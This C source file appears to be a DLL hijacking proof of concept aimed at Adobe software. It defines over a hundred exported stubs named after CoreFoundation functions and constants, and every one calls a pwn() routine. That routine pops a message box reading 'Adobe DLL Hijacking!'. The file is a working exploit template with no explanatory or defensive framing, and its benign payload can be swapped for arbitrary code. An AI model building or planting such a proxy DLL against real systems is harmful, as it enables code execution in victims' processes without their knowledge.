DllExport void CFURLCreateData() { pwn(); }
DllExport void CFURLCreateDataAndPropertiesFromResource() { pwn(); }
DllExport void CFURLCreateFromFileSystemRepresentation() { pwn(); }
DllExport void CFURLCreateFromFileSystemRepresentationRelativeToBase() { pwn(); }
DllExport void CFURLCreatePropertyFromResource() { pwn(); }
DllExport void CFURLCreateStringByAddingPercentEscapes() { pwn(); }
DllExport void CFURLCreateStringByReplacingPercentEscapes() { pwn(); }
DllExport void CFURLCreateStringByReplacingPercentEscapesUsingEncoding() { pwn(); }
DllExport void CFURLCreateWithBytes() { pwn(); }
DllExport void CFURLCreateWithFileSystemPath() { pwn(); }
DllExport void CFURLCreateWithFileSystemPathRelativeToBase() { pwn(); }
DllExport void CFURLCreateWithString() { pwn(); }
DllExport void CFURLDestroyResource() { pwn(); }
DllExport void CFURLGetBaseURL() { pwn(); }
DllExport void CFURLGetByteRangeForComponent() { pwn(); }
DllExport void CFURLGetBytes() { pwn(); }
DllExport void CFURLGetFileSystemRepresentation() { pwn(); }
DllExport void CFURLGetPortNumber() { pwn(); }
DllExport void CFURLGetString() { pwn(); }
DllExport void CFURLGetTypeID() { pwn(); }
DllExport void CFURLHasDirectoryPath() { pwn(); }
DllExport void CFURLWriteDataAndPropertiesToResource() { pwn(); }
DllExport void CFUUIDCreate() { pwn(); }
DllExport void CFUUIDCreateFromString() { pwn(); }
DllExport void CFUUIDCreateFromUUIDBytes() { pwn(); }
DllExport void CFUUIDCreateString() { pwn(); }
DllExport void CFUUIDCreateWithBytes() { pwn(); }
DllExport void CFUUIDGetConstantUUIDWithBytes() { pwn(); }
DllExport void CFUUIDGetTypeID() { pwn(); }
DllExport void CFUUIDGetUUIDBytes() { pwn(); }
DllExport void CFXMLCreateStringByEscapingEntities() { pwn(); }
DllExport void CFXMLCreateStringByUnescapingEntities() { pwn(); }
DllExport void CFXMLNodeCreate() { pwn(); }
DllExport void CFXMLNodeCreateCopy() { pwn(); }
DllExport void CFXMLNodeGetInfoPtr() { pwn(); }
DllExport void CFXMLNodeGetString() { pwn(); }
DllExport void CFXMLNodeGetTypeCode() { pwn(); }
DllExport void CFXMLNodeGetTypeID() { pwn(); }
DllExport void CFXMLNodeGetVersion() { pwn(); }
DllExport void CFXMLParserAbort() { pwn(); }
DllExport void CFXMLParserCopyErrorDescription() { pwn(); }
DllExport void CFXMLParserCreate() { pwn(); }
DllExport void CFXMLParserCreateWithDataFromURL() { pwn(); }
DllExport void CFXMLParserGetCallBacks() { pwn(); }
DllExport void CFXMLParserGetContext() { pwn(); }
DllExport void CFXMLParserGetDocument() { pwn(); }
DllExport void CFXMLParserGetLineNumber() { pwn(); }
DllExport void CFXMLParserGetLocation() { pwn(); }
DllExport void CFXMLParserGetSourceURL() { pwn(); }
DllExport void CFXMLParserGetStatusCode() { pwn(); }
DllExport void CFXMLParserGetTypeID() { pwn(); }
DllExport void CFXMLParserParse() { pwn(); }
DllExport void CFXMLTreeCreateFromData() { pwn(); }
DllExport void CFXMLTreeCreateFromDataWithError() { pwn(); }
DllExport void CFXMLTreeCreateWithDataFromURL() { pwn(); }
DllExport void CFXMLTreeCreateWithNode() { pwn(); }
DllExport void CFXMLTreeCreateXMLData() { pwn(); }
DllExport void CFXMLTreeGetNode() { pwn(); }
DllExport int __cdecl initQTCFWrapper(void) { pwn(); }
DllExport void kCFAbsoluteTimeIntervalSince1904() { pwn(); }
DllExport void kCFAbsoluteTimeIntervalSince1970() { pwn(); }
DllExport void kCFAllocatorDefault() { pwn(); }
DllExport void kCFAllocatorMalloc() { pwn(); }
DllExport void kCFAllocatorNull() { pwn(); }
DllExport void kCFAllocatorSystemDefault() { pwn(); }
DllExport void kCFAllocatorUseContext() { pwn(); }
DllExport void kCFBooleanFalse() { pwn(); }
DllExport void kCFBooleanTrue() { pwn(); }
DllExport void kCFBundleDevelopmentRegionKey() { pwn(); }
DllExport void kCFBundleExecutableKey() { pwn(); }
DllExport void kCFBundleIdentifierKey() { pwn(); }
DllExport void kCFBundleInfoDictionaryVersionKey() { pwn(); }
DllExport void kCFBundleLocalizationsKey() { pwn(); }
DllExport void kCFBundleNameKey() { pwn(); }
DllExport void kCFBundleVersionKey() { pwn(); }
DllExport void kCFCopyStringBagCallBacks() { pwn(); }
DllExport void kCFCopyStringDictionaryKeyCallBacks() { pwn(); }
DllExport void kCFCopyStringSetCallBacks() { pwn(); }
DllExport void kCFHTTPVersion1_0() { pwn(); }
DllExport void kCFHTTPVersion1_1() { pwn(); }
DllExport void kCFNull() { pwn(); }
DllExport void kCFNumberNaN() { pwn(); }
DllExport void kCFNumberNegativeInfinity() { pwn(); }
DllExport void kCFNumberPositiveInfinity() { pwn(); }
DllExport void kCFPlugInDynamicRegisterFunctionKey() { pwn(); }
DllExport void kCFPlugInDynamicRegistrationKey() { pwn(); }
DllExport void kCFPlugInFactoriesKey() { pwn(); }
DllExport void kCFPlugInTypesKey() { pwn(); }
DllExport void kCFPlugInUnloadFunctionKey() { pwn(); }
DllExport void kCFRunLoopCommonModes() { pwn(); }
DllExport void kCFRunLoopDefaultMode() { pwn(); }
DllExport void kCFStringBinaryHeapCallBacks() { pwn(); }
DllExport void kCFTypeArrayCallBacks() { pwn(); }
DllExport void kCFTypeBagCallBacks() { pwn(); }
DllExport void kCFTypeDictionaryKeyCallBacks() { pwn(); }
DllExport void kCFTypeDictionaryValueCallBacks() { pwn(); }
DllExport void kCFTypeSetCallBacks() { pwn(); }
DllExport void kCFURLFileDirectoryContents() { pwn(); }
DllExport void kCFURLFileExists() { pwn(); }
DllExport void kCFURLFileLastModificationTime() { pwn(); }
DllExport void kCFURLFileLength() { pwn(); }
DllExport void kCFURLFileOwnerID() { pwn(); }
DllExport void kCFURLFilePOSIXMode() { pwn(); }
DllExport void kCFURLHTTPStatusCode() { pwn(); }
DllExport void kCFURLHTTPStatusLine() { pwn(); }
DllExport void RefCFAbsoluteTimeAddGregorianUnits() { pwn(); }
DllExport void RefCFAbsoluteTimeGetDayOfWeek() { pwn(); }
DllExport void RefCFAbsoluteTimeGetDayOfYear() { pwn(); }
DllExport void RefCFAbsoluteTimeGetDifferenceAsGregorianUnits() { pwn(); }
DllExport void RefCFAbsoluteTimeGetGregorianDate() { pwn(); }
DllExport void RefCFAbsoluteTimeGetWeekOfYear() { pwn(); }
DllExport void RefCFArrayAppendArray() { pwn(); }
DllExport void RefCFArrayApplyFunction() { pwn(); }
DllExport void RefCFArrayBSearchValues() { pwn(); }
DllExport void RefCFArrayContainsValue() { pwn(); }
DllExport void RefCFArrayGetCountOfValue() { pwn(); }
DllExport void RefCFArrayGetFirstIndexOfValue() { pwn(); }
DllExport void RefCFArrayGetLastIndexOfValue() { pwn(); }
DllExport void RefCFArrayGetValues() { pwn(); }
DllExport void RefCFArrayReplaceValues() { pwn(); }
DllExport void RefCFArraySortValues() { pwn(); }
DllExport void RefCFBitVectorContainsBit() { pwn(); }
DllExport void RefCFBitVectorFlipBits() { pwn(); }
DllExport void RefCFBitVectorGetBits() { pwn(); }
DllExport void RefCFBitVectorGetCountOfBit() { pwn(); }
DllExport void RefCFBitVectorGetFirstIndexOfBit() { pwn(); }
DllExport void RefCFBitVectorGetLastIndexOfBit() { pwn(); }
DllExport void RefCFBitVectorSetBits() { pwn(); }
DllExport void RefCFCharacterSetAddCharactersInRange() { pwn(); }
DllExport void RefCFCharacterSetCreateWithCharactersInRange() { pwn(); }
DllExport void RefCFCharacterSetRemoveCharactersInRange() { pwn(); }
DllExport void RefCFDataDeleteBytes() { pwn(); }
DllExport void RefCFDataGetBytes() { pwn(); }
DllExport void RefCFDataReplaceBytes() { pwn(); }
DllExport void RefCFDateCreate() { pwn(); }
DllExport void RefCFGregorianDateGetAbsoluteTime() { pwn(); }
DllExport void RefCFGregorianDateIsValid() { pwn(); }
DllExport void RefCFRunLoopRunInMode() { pwn(); }
DllExport void RefCFRunLoopTimerCreate() { pwn(); }
DllExport void RefCFRunLoopTimerSetNextFireDate() { pwn(); }
DllExport void RefCFSocketConnectToAddress() { pwn(); }
DllExport void RefCFSocketCopyRegisteredSocketSignature() { pwn(); }
DllExport void RefCFSocketCopyRegisteredValue() { pwn(); }
DllExport void RefCFSocketCreateConnectedToSocketSignature() { pwn(); }
DllExport void RefCFSocketRegisterSocketSignature() { pwn(); }
DllExport void RefCFSocketRegisterValue() { pwn(); }
DllExport void RefCFSocketSendData() { pwn(); }
DllExport void RefCFSocketUnregister() { pwn(); }
DllExport void RefCFStorageApplyFunction() { pwn(); }
DllExport void RefCFStorageDeleteValues() { pwn(); }
DllExport void RefCFStorageGetValues() { pwn(); }
DllExport void RefCFStorageInsertValues() { pwn(); }
DllExport void RefCFStorageReplaceValues() { pwn(); }
DllExport void RefCFStringCompareWithOptions() { pwn(); }
DllExport void RefCFStringCreateArrayWithFindResults() { pwn(); }
DllExport void RefCFStringCreateWithSubstring() { pwn(); }
DllExport void RefCFStringDelete() { pwn(); }
DllExport void RefCFStringFindAndReplace() { pwn(); }
DllExport void RefCFStringFindCharacterFromSet() { pwn(); }
DllExport void RefCFStringFindWithOptions() { pwn(); }
DllExport void RefCFStringGetBytes() { pwn(); }
DllExport void RefCFStringGetCharacters() { pwn(); }
DllExport void RefCFStringGetLineBounds() { pwn(); }
DllExport void RefCFStringReplace() { pwn(); }
DllExport void RefCFTimeZoneCopyAbbreviation() { pwn(); }
DllExport void RefCFTimeZoneCreateWithTimeIntervalFromGMT() { pwn(); }
DllExport void RefCFTimeZoneGetSecondsFromGMT() { pwn(); }
DllExport void RefCFTimeZoneIsDaylightSavingTime() { pwn(); }
DllExport void RefCFUUIDCreateFromUUIDBytes() { pwn(); }


int pwn()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}